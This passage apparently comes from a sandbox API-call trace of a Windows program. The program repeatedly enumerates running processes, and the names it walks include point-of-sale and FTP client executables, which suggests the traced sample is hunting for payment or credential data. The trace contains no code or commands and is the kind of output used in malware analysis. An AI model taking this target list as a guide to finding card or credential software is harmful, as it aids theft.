dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0243.756] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0243.759] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0243.762] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0243.767] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0243.770] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0243.773] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0243.776] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0243.779] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0243.782] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0243.785] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0243.787] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0243.790] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0243.793] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.796] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0243.798] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0243.801] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0243.804] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0243.807] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0243.810] CloseHandle (hObject=0x21ec) returned 1 [0243.810] Sleep (dwMilliseconds=0x64) [0243.812] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0243.838] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.841] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.844] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.847] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.348] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.356] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.359] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.361] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.363] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.365] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.368] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.371] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.373] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.375] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.378] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.381] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.383] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.385] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.387] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.390] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.392] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0244.394] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.396] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.399] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0244.401] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0244.403] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0244.406] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0244.408] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0244.411] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0244.414] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0244.416] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.418] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0244.421] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0244.424] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0244.425] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.427] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0244.429] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0244.431] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0244.434] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0244.436] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0244.438] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0244.440] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0244.442] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0244.444] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0244.446] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0244.449] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0244.452] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0244.454] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0244.457] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0244.459] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0244.492] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0244.495] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0244.497] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0244.499] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0244.502] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0244.506] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0244.509] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0244.511] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0244.518] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0244.521] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0244.525] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0244.528] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0244.531] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0244.535] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0244.539] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 